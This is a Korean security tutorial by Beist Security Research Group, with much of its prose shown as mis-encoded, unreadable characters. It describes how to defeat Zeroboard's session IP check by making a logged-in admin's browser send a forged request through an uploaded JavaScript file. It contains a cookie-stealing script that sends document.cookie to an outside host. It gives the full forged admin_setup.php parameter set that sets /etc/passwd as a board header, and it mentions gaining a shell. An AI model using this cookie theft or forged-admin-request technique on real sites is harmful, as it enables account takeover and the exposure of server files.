Prevention of Cookie Spoofing and evasion of CGI program
(Cookie Spoofing ¹æÁö CGI ÇÁ·Î±×·¥ ¿ìȸÇϱâ)

 

 

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

 

 

¿ä¾à : º» ¹®¼­´Â Cookie Spoofing ÇØÅ· ±â¹ýÀ» ¹æÁöÇÏ´Â º¸¾È ¼Ö·ç¼ÇÀ» ¿ìȸÇÏ´Â ±â¹ý¿¡ ´ëÇØ¼­ ¼Ò°³Çϰí ÀÖ´Ù. Cookie Spoofing ¹æÁö¸¦ À§Çؼ­ ±âÁ¸ÀÇ Cookie Á¤º¸¿Í µ¿½Ã¿¡ »ç¿ëÀÚÀÇ ·Î±×ÀÎµÈ IP¸¦ ºñ±³ÇÏ´Â ¹æ¹ýÀ» ¸¹ÀÌ »ç¿ëÇϰí ÀÖ´Ù. ±×·¯³ª ÇØÄ¿°¡ Á÷Á¢ °ø°ÝÀ» ¼öÇàÇÏÁö ¾Ê°í, JavaScript¸¦ ÀÌ¿ëÇÏ¿© À¥ °ü¸®ÀÚ·Î ÇÏ¿©±Ý ½º½º·Î °ø°ÝÀ» ¼öÇàÇϵµ·Ï À¯µµÇÏ´Â ¹æ¹ýÀ¸·Î ¿ìȸÇÒ ¼ö Àִµ¥ ÀÌ·² °æ¿ì IP¸¦ ºñ±³ÇÏ´Â ¹æ½ÄÀÇ º¸¾È ¾Ë°í¸®ÁòÀ» ¿ìȸÇÏ¿© °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖ´Ù.

 

 

 

 

 

1. °³¿ä

Cookie SniffingÀ» ÀÌ¿ëÇÑ Spoofing ±â¼úÀº °¥¼ö·Ï ¹ßÀüÇϰí ÀÖ½À´Ï´Ù. Spoofing °ø°ÝÀ» ¸·±â À§ÇØ ¿©·¯ °¡Áö ¹æ¾ÈÀÌ Á¦½ÃµÇ¾ú´Âµ¥, ±× Áß¿¡ ÇѰ¡Áö¸¦ ¾Ë¾Æº¸¸é ¼­¹ö·Î Á¢±ÙÇØ¿À´Â Ŭ¶óÀÌ¾ðÆ®°¡ÀÌ ÀÌ¹Ì Login µÈ IP Áï, Admin ÀÇ IP ¿Í ´Ù¸¥ IP ÀÏ °æ¿ì Hacking À¸·Î °£ÁÖÇϰí Session À» ²÷´Â ¹æ¹ýÀÌ ÀÖ½À´Ï´Ù. ÀÌ·² °æ¿ì Hacker ´Â Cookie Sniffing ¿¡ ¼º°øÇÏ¿©¼­ Cookie (Session) À» °®°Ô µÈ »óŶóµµ, Login µÈ IP ¿Í IP °¡ Ʋ¸®±â ¶§¹®¿¡ Á¢¼Ó¿¡ Á¦ÇÑÀ» ¹ÞÀ» ¼ö ÀÖ½À´Ï´Ù.

ÀÌ ¹®¼­¿¡¼­´Â ÀÌ·¯ÇÑ »óȲÀÏ ¶§ ¿ìȸÇÏ¿© °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¼Ò°³¸¦ ÇÏ·Á ÇÕ´Ï´Ù. ½ÇÁ¦·Î Zeroboard ÀÇ ºñ±³Àû ÃÖ±Ù ¹öÀü¿¡¼­´Â À§¿¡¼­ ¸»ÇÑ ¹æ¾î ±â´ÉÀ» ¾î´À Á¤µµ ±¸ÇöÇϰí ÀÖ¾ú½À´Ï´Ù. ¿©±â¼­´Â Zeroboard ¸¦ ´ë»óÀ¸·Î, Zeroboard ¿¡¼­ ±¸ÇöÇÑ ¹æ¾î ·çƾÀ» ¾î¶»°Ô ¿ìȸÇÒ ¼ö ÀÖ´Â Áö ±× Hacking ±â¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

Cookie Sniffing Àº, Javascript °°Àº ±âŸ Client Script ¸¦ ÀÌ¿ëÇÏ¿© ´ëºÎºÐ °ø°ÝÀÌ ÀÌ·ç¾îÁý´Ï´Ù. ±×·¯¹Ç·Î Cookie Sniffing ÀÌ °¡´ÉÇÏ´Ù´Â °ÍÀº, Client Script ¾ð¾î¸¦ »ç¿ë °¡´ÉÇÏ´Ù´Â À̾߱Ⱑ µÇ´Âµ¥(¸ðµç Cookie Sniffing »óȲÀÌ ±×·¸´Ù´Â °ÍÀº ¾Æ´Õ´Ï´Ù. Cookie ¸¦ ¾ò´Â ¹æ¹ýÀº, Client Script ¸¦ ÀÌ¿ëÇÏ´Â ¹æ½ÄÀÌ ¾Æ´Ñ °ÍÀ¸·Îµµ ¾òÀ» ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ¿¹¸¦ µé¸é packet sniffing), ÀÌ Client Script ÀÇ Æ¯Á¤ ±â´ÉÀ» ÀÌ¿ëÇϸé À§ÀÇ ¹æ¾î ¾Ë°í¸®ÁòÀ» ¹«¿ëÁö¹°·Î ¸¸µé ¼ö ÀÖ½À´Ï´Ù.

ÀÌ ¹®¼­¿¡¼­´Â ÇöÀç ¹®¼­ÀÇ URL ¿¡ °ü·ÃµÈ °´Ã¼ÀÎ location.href À» ÀÌ¿ëÇÒ °ÍÀÔ´Ï´Ù. ±×¸®°í ¶Ç, Zeroboard ÀÇ Admin ¸Þ´º Áß¿¡ head, foot ÆÄÀÏÀ» ÁöÁ¤ÇÒ ¼ö ÀÖ´Â ±â´ÉÀ» ÀÌ¿ëÇÏ¿© Hacking À» ÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¼³¸íÇÒ °ÍÀÔ´Ï´Ù.

 

 

 

 

 

 

2. ÀÌ¿ëµÉ ¼ö ÀÖ´Â °÷

ÀÌ ¹®¼­¿¡¼­ ¼³¸íÇÏ´Â ¹æ¹ýÀ» ÀÌ¿ëÇϸé, Á¢±ÙÇÏ´Â IP °¡ Admin IP ¿Í °°ÀºÁö ºñ±³ÇÏ´Â ¹æ¾î ¾Ë°í¸®ÁòÀ» ¹«¿ëÁö¹°·Î ¸¸µé ¼ö ÀÖ½À´Ï´Ù. Cookie Sniffing ±â¼úÀÌ ¹ßÀüÇϸ鼭 ÀÌ·¯ÇÑ ¹æ¾î ·çƾÀÌ ¸¹Àº CGI ¿¡ »ðÀԵǾúÀ»°Å¶ó »ý°¢ÇÕ´Ï´Ù. °Ô½ÃÆÇ, ÀÚ·á½Ç, À¥¸ÞÀÏ, ¼îÇθô ±âŸ µîµî¿¡ ÀÌ ±â¹ýÀ» ÀÀ¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© °ø°Ý¿¡ ¼º°øÇÏ¿´À» °æ¿ì¿¡´Â, ƯÁ¤ ID ÀÇ Password ¸¦ ¹Ù²Ù°Å³ª, ȤÀº Target System ÀÇ Shell À» ¾ò´Â °Í±îÁö, ´Ù¾çÇÑ ÇØÅ·µéÀ» ÇÒ ¼ö ÀÖ½À´Ï´Ù.

ÀÌ ¹®¼­¿¡¼­´Â, Zeroboard ÀÇ head, foot ÆÄÀÏ ÁöÁ¤ ±â´ÉÀ» ÀÌ¿ëÇÏ¿© /etc/passwd ÆÄÀÏÀ» Àд ¹æ¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸°Ú½À´Ï´Ù. (¹°·Ð, ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© Target System ÀÇ Shell À» µû´Â °Íµµ °¡´ÉÇÕ´Ï´Ù. ±×¿¡ ´ëÇÑ ¹æ¹ýÀº Automatic attack program that can be used in Cookie Sniffing ¹®¼­¸¦ Âü°íÇϽñ⠹ٶø´Ï´Ù.)

 

 

 

 

 

 

3. ±â¼úÀûÀÎ ³»¿ë

¸ÕÀú ÇØÄ¿°¡ ƯÁ¤ Á¤º¸ÀÇ Cookie(ÀÌ ¹®¼­¿¡¼­´Â SessionÀ» Æ÷ÇÔÇÏ¿© ¾ð±ÞÇϰڽÀ´Ï´Ù.) ¸¦ °¡Á®¿À±â À§Çؼ­ ÀÌ¿ëÇÏ´Â °¡Àå ´ëÇ¥ÀûÀÎ ¹æ¹ýÀº Javascript °°Àº Client Language Script µéÀ» ÀÌ¿ëÇÏ´Â °ÍÀÔ´Ï´Ù. °¡Àå ³Î¸® ¾Ë·ÁÁ® ÀÖ´Â Cookie Sniffing ÀÇ ÀϹÝÀûÀÎ ¼Ò½º´Â ´ÙÀ½°ú °°½À´Ï´Ù.

 

sample.html

<html>
<head>
<title>Cookie Sniffing - beist</title>
<script language=javascript>
window.open("http://beist.org/hack.php?cook="+document.cookie);
</script>
</head>
<body>
<center><br><br><br>this is test
</body>
</html>

 

Hacker °¡ Cookie Sniffing À» ÅëÇØ Cookie ¸¦ »©¿À°Ô µÇ¸é, ÀÌ Cookie ¸¦ ÀÌ¿ëÇÏ¿© ´Ù½Ã °ø°ÝÀ» ÇØ¾ßÇÕ´Ï´Ù. ÈÉÃĿ Cookie Á¤º¸¸¦ ÀÌ¿ëÇÏ¿© ´Ù½Ã Target CGI ¿¡ Á¢±ÙÇÏ´Â °ÍÀ» º¸Åë Cookie Spoofing À̶ó ºÎ¸¨´Ï´Ù. ÀÌ ¹®¼­¿¡¼­´Â Cookie Sniffing, Spoofing ÀÌ µÎ °úÁ¤À» ÇØÄ¿°¡ ¼öÇàÇÒ Çʿ䰡 ¾ø´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¼ °ÍÀÔ´Ï´Ù.

¿ìȸÇÒ º¸¾È ¾Ë°í¸®Áò¿¡ ´ëÇØ¼­ Á¶±Ý ´õ ÀÚ¼¼ÇÏ°Ô ¾Ë¾Æº¸°Ú½À´Ï´Ù.

À§¿¡¼­, ÇØÄ¿°¡ Cookie Sniffing ±â¼úÀ» ÅëÇØ Cookie ¸¦ ÈÉÃÄ¿À´Â µ¥ ¼º°øÇß´Ù¸é, ±× Cookie ¸¦ ÀÌ¿ëÇÏ¿© ´Ù½Ã Target CGI ¿¡ Á¢±ÙÇØ¾ßÇÑ´Ù´Â °ÍÀ» ¾ð±ÞÇß½À´Ï´Ù. ´Ù½Ã Á¢±ÙÇÏ´Â ÀÌ °úÁ¤À» Spoofing À̶ó Çϴµ¥, Zeroboard ¿¡¼­´Â ÀÌ Spoofing °ø°ÝÀ» ¸·±â À§Çؼ­ ´ÙÀ½°ú °°Àº ·çƾÀ» ³Ö¾ú½À´Ï´Ù.

´ÙÀ½Àº lib.php ¼Ò½ºÀÇ member login ó¸® ºÎºÐÀÔ´Ï´Ù.

 

lib.php

 

if($HTTP_SESSION_VARS["zb_logged_no"]) {

// ·Î±×ÀÎ ½Ã°£ÀÌ ÁöÁ¤µÈ ½Ã°£À» ³Ñ¾ú°Å³ª ·Î±×ÀÎ ¾ÆÀÌÇǰ¡ ÇöÀç »ç¿ëÀÚÀÇ ¾ÆÀÌÇÇ¿Í ´Ù¸¦ °æ¿ì ·Î±×¾Æ¿ô ½ÃÅ´
if(time()-$HTTP_SESSION_VARS["zb_logged_time"]>$_zbDefaultSetup["login_time"]||$HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR) {

$zb_logged_no="";
$zb_logged_time="";
$zb_logged_ip="";
session_register("zb_logged_no");
session_register("zb_logged_ip");
session_register("zb_logged_time");
session_destroy();

// À¯È¿ÇÒ °æ¿ì ·Î±×ÀÎ ½Ã°£À» ´Ù½Ã ¼³Á¤
}

 

À§ÀÇ ¼Ò½º¿¡¼­ $HTTP_SESSION_VARS["zb_logged_ip"] ¿¡ ÀúÀåµÈ °ªÀº, Á¤»óÀûÀÎ Admin ÀÌ Zeroboard ¿¡ ·Î±×ÀÎÇÒ ¶§ ¸¸µé¾îÁö´Â °ÍÀÔ´Ï´Ù. Áï, Admin ÀÇ IP °¡ ÀúÀåµË´Ï´Ù. Admin ÀÇ ºÎÁÖÀÇ·Î Cookie Sniffing ±â¼ú¿¡ Cookie ¸¦ ÇØÄ¿¿¡°Ô µµµÏ¸Â¾Æµµ, ´ÙÀ½ÀÇ ºñ±³ ·çƾ ¶§¹®¿¡ ÇØÄ¿´Â Cookie Spoofing À» ÇÒ ¼ö ¾ø½À´Ï´Ù. (±âŸ ´Ù¸¥ ºÎºÐÀÇ ¼Ò½º´Â Zeroboard ¼Ò½º¸¦ ´Ù¿î¹Þ¾Æ ºÐ¼®Çغ¸½Ã±â ¹Ù¶ø´Ï´Ù.)

 

$HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR

 

$REMOTE_ADDR Àº, Client IP °¡ ´ã±ä ȯ°æ º¯¼öÀε¥, ¸¸¾à ÀÌ °ªÀÌ Zeroboard ¿¡ ·Î±×ÀÎÇÒ ¶§ »ý¼ºµÈ zb_logged_ip °ª°ú °°Áö ¾Ê´Ù¸é Session Àº ÃʱâÈ­µÇ¸é¼­ Á¦°ÅµË´Ï´Ù. Hacker °¡ Cookie Spoofing À» ÇÒ ¶§ $REMOTE_ADDR °ªÀº, ÇØÄ¿ÀÇ IP °¡ µÉ °ÍÀÔ´Ï´Ù. ´ç¿¬È÷, À§ÀÇ IP Check ·çƾ¿¡ °É¸®°Ô µÇ¸é¼­ ¼¼¼ÇÀÌ ÃʱâÈ­, Áï Á¢±ÙÀÌ Â÷´ÜµÉ °ÍÀÔ´Ï´Ù. ÀÌ ¹®¼­¿¡¼­´Â ¹Ù·Î À§ÀÇ IP Check ·çƾÀ» ±ú´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ´Ù·ê °ÍÀÔ´Ï´Ù.

ÇØÄ¿ÀÇ °ø°ÝÀ» ¸·´Â À§ ¹æÇع°À» ±ú´Â ¹æ¹ý·ÐÀº ¸î°¡Áö°¡ ÀÖ½À´Ï´Ù. ù¹øÂ°, Session ¿¡ ÀúÀåµÈ zb_logged_ip °ªÀ» ÀÓÀÇ·Î º¯°æÇÏ´Â °ÍÀÔ´Ï´Ù. ±×·¯³ª ÀÌ Session ¿¡ ÀúÀåµÈ °ªÀ» º¯°æÇϱâ À§Çؼ­´Â, Zeroboard ÀÇ Admin ID ·Î Á¤»óÀûÀÎ ·Î±×ÀÎ °úÁ¤À» °ÅÃľßÇÑ´Ù´Â À̾߱âÀÔ´Ï´Ù. ·Î±×ÀÎÀ» Çϱâ À§Çؼ­´Â Admin ÀÇ Password °¡ ÇÊ¿äÇѵ¥, ÇöÀç ÇØÄ¿´Â Session °ªÀ» °®°í ÀÖÀ» »ÓÀÌÁö Admin ÀÇ Password ¸¦ ¾Ë°í ÀÖ´Â °ÍÀº ¾Æ´Õ´Ï´Ù.

µÎ¹øÂ°, ÇØÄ¿ÀÇ IP ¸¦ Admin IP ·Î À§Á¶ÇÏ´Â ¹æ¹ý, Áï $REMOTE_ADDR ¸¦ Á÷Á¢ Á¶ÀÛÇÏ´Â ¹æ¹ýÀε¥, ¾ÆÁ÷±îÁö´Â $REMOTE_ADDR ȯ°æ º¯¼ö¸¦ ÀÓÀÇ·Î Á¶ÀÛÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­´Â ¾Ë·ÁÁø¹Ù°¡ ¾ø½À´Ï´Ù.

¼¼¹øÂ°, Admin ÀÇ ÄÄÇ»Å͸¦ Á÷Á¢ ÇØÅ·ÇÏ¿© CGI ¿¡ Á¢±ÙÇÏ´Â ¹æ¹ýÀÔ´Ï´Ù. ±×·¯³ª ÀÌ ¹æ¹ýÀº CGI ¸¦ ÇØÅ·ÇÏ´Â °Íº¸´Ù ¿ÀÈ÷·Á ´õ Èûµç ¹æ¹ýÀÌ µÉ ¼ö ÀÖ½À´Ï´Ù. ¹ö±×°¡ ¾ø´Â ¹öÀüÀÇ Client OS ¸¦ »ç¿ëÇϰí ÀÖ´Â Admin À̶ó¸é ´õ¿í ±×·¸½À´Ï´Ù.

³×¹øÂ°´Â ¹Ù·Î ÀÌ ¹®¼­¿¡¼­ »ç¿ëÇÒ ¹æ¹ýÀÔ´Ï´Ù. ÇØÄ¿°¡ Zeroboard Admin ID ·Î ·Î±×ÀÎÇÑ ¿î¿µÀÚÀÇ À¥ ºê¶ó¿ìÀú¸¦ Á¶Á¾ÇÏ´Â ¹æ¹ýÀÔ´Ï´Ù. À̰ÍÀº AdminÀÇ ÄÄÇ»Å͸¦ Á÷Á¢ÀûÀ¸·Î ÇØÅ·ÇÏ´Â ±â¹ýÀº ¾Æ´Õ´Ï´Ù. ¸¸¾à ÇØÄ¿°¡ Admin ÄÄÇ»ÅÍÀÇ À¥ ºê¶ó¿ìÀú¸¦ Á¶Á¾ÇÏ¿©¼­, Admin ÄÄÇ»ÅÍ¿¡¼­ Target Server ¿¡ Á¢±ÙÇÑ´Ù¸é

 

$HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR

 

ÀÌ IP üũ ·çƾÀ» ÀÌ»ó¾øÀÌ Áö³ªÄ¥ ¼ö ÀÖ½À´Ï´Ù. Admin ÀÇ À¥ ºê¶ó¿ìÀú¸¦ Á¶Á¾ÇÏ¿© CGI ¿¡ Á¢±ÙÇÏ¿´À» °æ¿ì, À§ÀÇ $REMOTE_ADDR Àº Admin ÀÇ ÄÄÇ»ÅÍÀ̱⠶§¹®¿¡ Session ¿¡ ÀúÀåµÈ zb_logged_ip °ª°ú °°½À´Ï´Ù. ±×·¯¸é ÀÌÁ¦ ¾î¶² ¹æ¹ýÀ¸·Î Admin À» Á¶Á¾ÇÒ ¼ö ÀÖ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù.

¸ÕÀú, ¿ì¸®°¡ Admin ÄÄÇ»ÅÍ¿¡°Ô ÇØ¾ß ÇÒ °ÍÀÌ ¹«¾ùÀÎÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù. 1. °³¿ä ¿¡¼­ ¸»¾¸µå·ÈÁö¸¸ ÀÌ ¹®¼­¿¡¼­´Â, Target Server ÀÇ /etc/passwd ¸¦ Àд ¹æ¹ý¿¡ ´ëÇØ¼­ »ìÆìº¸°Ú½À´Ï´Ù. (¹°·Ð ÀÌ °ÍÀ» ÀÀ¿ëÇÏ¸é ½±°Ô Shell À» µþ ¼ö ÀÖ½À´Ï´Ù.)

¿ì¸®°¡ »ç¿ëÇÏ´Â ¹æ¹ýÀÇ ¼ø¼­´Â ´ÙÀ½°ú °°½À´Ï´Ù.

1. Zeroboard Admin Menu ¿¡ Á¢±Ù
2. ÀÓÀÇÀÇ »õ·Î¿î °Ô½ÃÆÇ »ý¼º
3. »õ °Ô½ÃÆÇ¿¡ head file ¿¡ /etc/passwd ÁöÁ¤
4. ±âŸ ³ª¸ÓÁö º¯¼ö ÀÛ¼º
5. Äõ¸® Àü´Þ

À§ÀÇ 5 °¡Áö »çÇ×Àº ±×¸® ±æÁö ¾ÊÀº ³»¿ëÀ̹ǷÎ, µû·Î ³ª´©¾î Á¤¸®¸¦ ÇÏÁö ¾Ê°í ÇѲ¨¹ø¿¡ ¼³¸íÇϰڽÀ´Ï´Ù. Á¦·Îº¸µå¿¡¼­ »õ·Î¿î °Ô½ÃÆÇÀ» ¸¸µé±â À§Çؼ­ Á¢±ÙÇØ¾ß ÇÏ´Â CGI ´Â admin_setup.php ¶ó´Â CGI ÆÄÀÏÀÔ´Ï´Ù. À̶§ ȯ°æ ¼³Á¤À» Á¦´ë·Î ÇØÁÖ¾î¾ß ¿ì¸®°¡ ¿øÇÏ´Â °Ô½ÃÆÇÀ» Á¤»óÀûÀ¸·Î »ý¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. ¿©±â¼­ ȯ°æ ¼³Á¤À̶õ ¿©·¯ °¡Áö º¯¼ö °ªµéÀ» ÀǹÌÇÕ´Ï´Ù.

¿©±â¼­´Â °¡Àå Áß¿äÇÑ 3 °¡ÁöÀÇ º¯¼ö¿¡ ´ëÇØ¼­¸¸ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

exec2 = add_ok (°Ô½ÃÆÇÀ» »ý¼ºÇÏ´Â ¸ðµå¸¦ ¶æÇÕ´Ï´Ù.)
name = hackbeist (Ãß°¡ÇÒ °Ô½ÃÆÇÀÇ À̸§ÀÔ´Ï´Ù.)
header_url = %2Fetc%2Fpasswd (head ÆÄÀÏ·Î ÁöÁ¤ÇÏ´Â °ªÀÔ´Ï´Ù. %2F ´Â / À̹ǷÎ, /etc/passwd °¡ µË´Ï´Ù.)

À§ º¯¼öµéÀ» ÁÖÀDZí°Ô º¸½Ã°í ³ª¸ÓÁö º¯¼öÀÇ ±â´É¿¡ ´ëÇØ¼­´Â ¿©·¯ºÐÀÌ ¾Ë¾Æº¸½Ã±â ¹Ù¶ø´Ï´Ù. (º¯¼öÀÇ À̸§ÀÌ ±× ±â´É°ú °ü·ÃµÈ °ÍµéÀÌ ¸¹À¸¹Ç·Î, º¯¼ö À̸§¸¸ º¸°íµµ ½±°Ô ÁüÀÛÇÒ ¼ö ÀÖÀ»°Å¶ó »ý°¢µË´Ï´Ù.)

À§ º¯¼ö 3 °³¿Í, ³ª¸ÓÁö º¯¼öÀÇ °ªµéÀ» ä¿ì¸é ´ÙÀ½°ú °°½À´Ï´Ù. ´ÙÀ½ÀÇ º¯¼öµéÀ» admin_setup.php ¸¦ ¿äûÇÒ ¶§ °°ÀÌ Àü´ÞÇØ¾ß ÇÕ´Ï´Ù.

no=
exec=view_board
exec2=add_ok
page=
group_no=1
name=hackbeist
skinname=nzeo_ver3
only_board=1
bg_image=
bg_color=white
table_width=95
cut_length=0
memo_num=20
page_num=10
title=hackerboard
header_url=%2Fetc%2Fpasswd
header=%3Cdiv+align%3Dcenter%3E
footer_url=
footer=%3C%2Fdiv%3E
use_html=1
use_showreply=1
use_filter=1
use_pds=1
pds_ext1=
pds_ext2=
max_upload_size=2097152
use_autolink=1
use_comment=1
use_formmail=1
use_secret=1
filter=%0D%0A
avoid_tag=a%2Cimg%2Cembed%2Cfont%2Cb%2Cdiv%2Ccenter%2Cp%2Cbr%0D%0A
avoid_ip=
x=47
y=7

(À§ÀÇ º¯¼ö °ªµéÁß, °ªÀÌ ¾ø´Â º¯¼ö´Â CGI ·Î ³Ñ±æ¶§ ±»ÀÌ ÇÊ¿äÇÏÁö ¾ÊÀº º¯¼öµéÀ̶ó ÷ºÎÇÏÁö ¾Ê¾Æµµ µÇÁö¸¸, Çü½Ä»ó Ç¥±â¸¦ ÇÏ¿´½À´Ï´Ù.)

À§ÀÇ º¯¼öµéÀ» Á¤»óÀûÀ¸·Î ä¿î ÈÄ, admin_setup.php ¸¦ ¿äûÇÑ´Ù¸é, hackbeist À̸§À» °®´Â °Ô½ÃÆÇÀÌ head file À» /etc/passwd ·Î ÁöÁ¤ÇÑ Ã¤ »ý¼ºÀÌ µÉ °ÍÀÔ´Ï´Ù. ÇØÄ¿´Â ÀÌ ÀÛ¾÷À» Admin ÀÌ Çϵµ·Ï Á¶Á¾À» ÇØ¾ßÇÕ´Ï´Ù. ¾î¶² ¹æ¹ýÀ¸·Î Á¶Á¾À» ÇÒ ¼ö ÀÖ´ÂÁö ÀÌÁ¦ º»°ÝÀûÀ¸·Î ¾Ë¾Æº¸°Ú½À´Ï´Ù.

¿ì¸®´Â Javascript ¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀ» ¾Ë¾Æº¼ °ÍÀÔ´Ï´Ù. Cookie Sniffing À» ÇÒ ¶§, »ç¿ëÇÏ´Â window.open ´ë½Å location.href °´Ã¼¸¦ ÀÌ¿ëÇÏ¿©, ÇöÀç À¥ºê¶ó¿ìÀúÀÇ ÁÖ¼Ò¸¦ ¿ì¸®°¡ ¿øÇϴ ƯÁ¤ ÁÖ¼Ò·Î ÁöÁ¤ÇÒ °ÍÀÔ´Ï´Ù. Áï, Admin ÀÇ À¥ ºê¶ó¿ìÀú ÁÖ¼Ò¸¦ admin_setup.php À¸·Î ÁöÁ¤ÇÔÀ¸·Î½á, ¿ì¸®°¡ ¿øÇÏ´Â ÀÏÀ» ÇØ³¾ ¼ö ÀÖ½À´Ï´Ù.

ÇØÄ¿´Â, Admin ÀÇ À¥ ºê¶ó¿ìÀú¸¦ admin_setup.php CGI ·Î º¸³¾¶§, À§ÀÇ º¯¼öµéÀ» GET method ÇüÅ·Πº¸³»Á־, °Ô½ÃÆÇÀ» »ý¼ºÇÒ ¼ö ÀÖµµ·Ï ÇØ¾ßÇÕ´Ï´Ù. ±× javascript ¼Ò½º¸¦ ¾Ë¾Æº¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. (¿©±â¼­ Cookie Sniffing ¹æ¹ýÀº, Cookie Sniffing by Using txt extension ¹®¼­¿¡¼­ »ç¿ëÇÑ ¹æ¹ýÀ» ÀÌ¿ëÇϰڽÀ´Ï´Ù.) ¸ÕÀú, Target ÀÇ Á¤º¸¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

 

Target Server URL - http://beist.org
Target Server Zeroboard URL (admin_setup.php) - http://beist.org/~beist/zero/admin_setup.php

 

ÇØÄ¿´Â À§ÀÇ Á¤º¸µéÀ» Âü°íÇÏ¿© °ø°Ý ÇÁ·Î±×·¥ (À¥ ºê¶ó¿ìÀúÀÇ location.href ¸¦ Á¶ÀÛÇÏ´Â javascript) À» ÀÛ¼ºÇÑ ÈÄ, ÀÌ ÆÄÀÏÀ» Target ¼­¹öÀÇ Zeroboard ¿¡ ¿Ã¸³´Ï´Ù. Admin ÀÌ ÀÌ ÆÄÀÏÀ» Àд ¼ø°£ °ø°ÝÀÌ ÁøÇàµË´Ï´Ù. ¼Ò½º¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù. test.txt¿¡¼­ ¹®Á¦°¡ µÉ ¼ö ÀÖ´Â °ø°Ý ÄÚµå´Â »èÁ¦ÇÏ¿´½À´Ï´Ù.

 

test.txt

 

<html>
<head>
<title>beist : "kkkkkkkkkkk"</title>
<script lauguage=javascript>
var targetcgi="http://beist.org/~beist/zero/admin_setup.php";
var headerfile="%2Fetc%2Fpasswd";
var execmode="add_ok";
var boardname="hackbeist";

location.href=targetcgi+ // ÁÖ¿ä ÄÚµå »èÁ¦
</script>
</head>
<body>
<center><font size=2><br><br><br>
Hi, Welcome to beist world..
</body>
</html>

 

ÇØÄ¿°¡ ¿Ã¸° test.txt ÀÇ URL Àº ´ÙÀ½°ú °°½À´Ï´Ù.

test.txt URL - http://beist.org/~beist/zero/data/test.txt


¼Ò½ºÀÇ ³»¿ëÀº ¾î·ÆÁö ¾ÊÀ¸¹Ç·Î ÁÖ¼®À» ´ÞÁö ¾Ê¾Ò½À´Ï´Ù. À§ÀÇ ¼Ò½º´Â ÇØÄ¿°¡ ¿øÇÏ´Â °Ô½ÃÆÇÀ» »ý¼ºÇϵµ·Ï, Admin ÀÇ À¥ºê¶ó¿ìÀú¸¦ Á¶Á¾ÇÒ °ÍÀÔ´Ï´Ù. Admin ÀÌ test.txt ÆÄÀÏÀ» ÀÐ°Ô µÇ¾úÀ» ¶§ È­¸éÀ» ĸÃÄÇØº¸¾Ò½À´Ï´Ù. (AdminÀÌ ÀÐ°Ô Çϵµ·Ï ¿©·¯ °¡Áö ¹æ¹ýÀÌ ÀÖÀ» ¼ö ÀÖ½À´Ï´Ù.)

 

[È­¸é1] http://beist.org/~beist/zero/data/test.txt (Admin ÀÌ ÇØÄ¿°¡ ¿Ã¸° test.txt À» ÀоúÀ» ¶§)

È­¸é1 : Admin ÀÌ ÇØÄ¿°¡ ¿Ã¸° test.txt ÆÄÀÏÀ» Àаí, admin_setup.php ·Î À̵¿Çϱâ ÀüÀÇ È­¸éÀÔ´Ï´Ù.

 

[È­¸é2] test.txt ÆÄÀÏÀ» Àаí, location.href °¡ admin_setup.php ·Î º¯ÇÑ È­¸é

È­¸é 2 : admin_setup.php ·Î ³Ñ¾î°¡ hackbeist °Ô½ÃÆÇÀ» »ý¼ºÇÑ È­¸éÀÔ´Ï´Ù.

 

[È­¸é3] hackbeist °Ô½ÃÆÇ È­¸é

È­¸é 3 : hackbeist ¸¦ ¿äÃ»ÇØº» °á°ú, /etc/passwd ÆÄÀÏÀÌ header ÆÄÀÏ·Î Æ÷ÇԵǾî ÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.

 

ÀÌ·¯ÇÑ ¹æ¹ýÀ¸·Î Admin ÀÇ À¥ ºê¶ó¿ìÀú¸¦ Á¶Á¾ÇÏ¿© ÇØÄ¿°¡ ¿øÇÏ´Â ÀÏÀ» ÇØ³¾ ¼ö ÀÖ½À´Ï´Ù. header ÆÄÀÏ·Î ÁöÁ¤ÇÏ´Â °ÍÀ» /etc/passwd °¡ ¾Æ´Ñ, ÇØÄ¿°¡ Àӽ÷Π¸¸µç ¾ÇÀÇÀûÀÎ ÆÄÀϵîÀ» include ÇÑ´Ù¸é, Web Server ÀÇ Shell À» µþ ¼ö ÀÖ½À´Ï´Ù. (ÀÌ ¹æ¹ý¿¡ ´ëÇØ¼­´Â Á¦°¡ ¾´ ´Ù¸¥ °­ÁµéÀ» Âü°íÇØº¸½Ã±â ¹Ù¶ø´Ï´Ù. ¿©±â¼­´Â ÀÌ·¯ÇÑ ÇØÅ· ¹æ¹ýÀÌ ÀÖ´Ù´Â ¾Ë¾Æº¸±â À§ÇÔÀ¸·Î /etc/passwd ¸¦ header ÆÄÀÏ·Î ÁöÁ¤ÇÏ¿´½À´Ï´Ù.)

 

 

 

 

 

 

4. ¸¶Ä¡´Â ¸»

